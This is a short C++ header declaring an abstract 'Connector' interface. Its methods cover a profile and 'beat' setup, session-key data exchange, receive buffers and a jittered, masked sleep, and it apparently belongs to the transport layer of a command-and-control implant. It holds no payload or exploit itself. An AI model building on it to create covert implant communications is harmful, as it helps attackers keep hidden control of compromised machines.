32 lines
709 B
C++
32 lines
709 B
C++
#pragma once
|
|
|
|
#include "WaitMask.h"
|
|
|
|
class Connector
|
|
{
|
|
public:
|
|
virtual BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) = 0;
|
|
|
|
virtual BOOL WaitForConnection() { return TRUE; }
|
|
|
|
virtual BOOL IsConnected() { return TRUE; }
|
|
|
|
virtual void Disconnect() {}
|
|
|
|
virtual void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) = 0;
|
|
|
|
virtual BYTE* RecvData() = 0;
|
|
virtual int RecvSize() = 0;
|
|
virtual void RecvClear() = 0;
|
|
|
|
virtual void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput)
|
|
{
|
|
if (!hasOutput)
|
|
WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter);
|
|
}
|
|
|
|
virtual void CloseConnector() = 0;
|
|
|
|
virtual ~Connector() {}
|
|
};
|